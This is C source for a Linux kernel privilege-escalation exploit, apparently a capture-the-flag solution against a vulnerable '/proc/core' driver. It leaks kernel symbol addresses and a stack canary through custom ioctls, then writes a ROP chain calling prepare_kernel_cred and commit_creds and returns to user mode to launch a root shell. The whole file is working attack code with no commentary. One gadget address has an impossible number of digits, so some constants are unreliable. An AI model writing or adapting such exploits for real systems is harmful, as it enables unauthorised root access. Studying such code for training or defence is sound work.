#include <sys/types.h> #include <stdio.h> #include <linux/userfaultfd.h> #include <pthread.h> #include <errno.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <signal.h> #include <poll.h> #include <string.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <sys/sem.h> #include <semaphore.h> #include <poll.h>
#define READ 0x6677889B #define OFF 0x6677889C #define COPY 0x6677889A
void success(const char *msg) { char *buf = calloc(0x1000, 1); sprintf(buf, "\033[32m\033[1m[+] %s\033[0m", msg); fprintf(stderr, "%s", buf); free(buf); }
void fail(const char *msg) { char *buf = calloc(0x1000, 1); sprintf(buf, "\033[31m\033[1m[x] %s\033[0m", msg); fprintf(stderr, "%s", buf); free(buf); }
void debug(const char *msg) { char *buf = calloc(0x1000, 1); sprintf(buf, "\033[34m\033[1m[*] %s\033[0m", msg); fprintf(stderr, "%s", buf); free(buf); } void printvar(void handle(const char *), char *hint, size_t var) { char *buf = calloc(0x1000, 1); sprintf(buf, "%s: 0x%lx\n", hint, var); handle(buf); free(buf); } size_t commit_creds,prepare_kernel_cred,off,swapgs_restore_regs_and_return_to_usermode; size_t user_cs, user_ss, user_rflags, user_sp; void saveStatus() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); user_sp &= ~0xf; success("Status has been saved.\n"); printvar(debug, "cs", user_cs); printvar(debug, "ss", user_ss); printvar(debug, "rsp", user_sp); printvar(debug, "rflags", user_rflags); }
void leakAddr() { FILE *kallsyms = fopen("/tmp/kallsyms", "r"); while (!commit_creds || !prepare_kernel_cred ) { size_t addr = 0; char t[2] = {0}, name[128] = {0}; fscanf(kallsyms, "%lx%s%s", &addr, t, name); if (!strcmp(name, "commit_creds")) { commit_creds = addr; off = commit_creds - 0xFFFFFFFF8109C8E0; printvar(success, "leak commit_creds", addr); printvar(debug, "offset", off); } if (!strcmp(name, "prepare_kernel_cred")) { prepare_kernel_cred = addr; off = prepare_kernel_cred - 0xFFFFFFFF8109CCE0; printvar(success, "leak prepare_kernel_cred", addr); printvar(debug, "offset", off); } } fclose(kallsyms); } int fd; size_t canary; void leakcanary(){ char *buf = malloc(1000); ioctl(fd, OFF, 64); ioctl(fd, READ, buf); canary = ((size_t*)buf)[0]; printvar(success, "leak canaryadd", canary); }
#define rop_pop_rdi off + 0xffffffff81000b2f #define rop_pop_rcx off + 0xffffffff81021e53 #define rop_pop_rdx off + 0xffffffff810a0f49 #define rop_iretq off + 0xffffffff81050ac2 #define rop_swapgs off + 0xffffffff81a012da #define rop_mov_rdi_rax_rep_movsq off + 0xffffffff814b15953 #define rop_move_rdi_rax_pop_rbp_mov_rax_rdi_pop_r12_ret off + 0xffffffff813f9ede void getRootShell() { success("Backing from the kernelspace.\n"); if(getuid()) { fail("Failed to get the root!\n"); exit(-1); } success("Successful to get the root. Execve root shell now...\n"); system("/bin/sh"); exit(0); }
void pwn() { fd = open("/proc/core",O_RDWR); leakAddr(); leakcanary(); unsigned long *chain = calloc(0x800, 1); unsigned long *start = chain; for(int i = 0;i!=8;i++){ chain[i] = canary; } chain = chain + 8; *chain++ = canary; *chain++ = canary; *chain++ = rop_pop_rdi; *chain++ = 0x0; *chain++ = prepare_kernel_cred; *chain++ = rop_move_rdi_rax_pop_rbp_mov_rax_rdi_pop_r12_ret; *chain++ = 0x0; *chain++ = 0x0; *chain++ = commit_creds; *chain++ = rop_swapgs; *chain++ = 0x0; *chain++ = rop_iretq; *chain++ = (unsigned long*)getRootShell; *chain++ = user_cs; *chain++ = user_rflags; *chain++ = user_sp; *chain++ = user_ss; write(fd,start,0x800); ioctl(fd, COPY, 0xffffffffffff0000 | (0x100));
} int main(){ saveStatus(); pwn(); }
|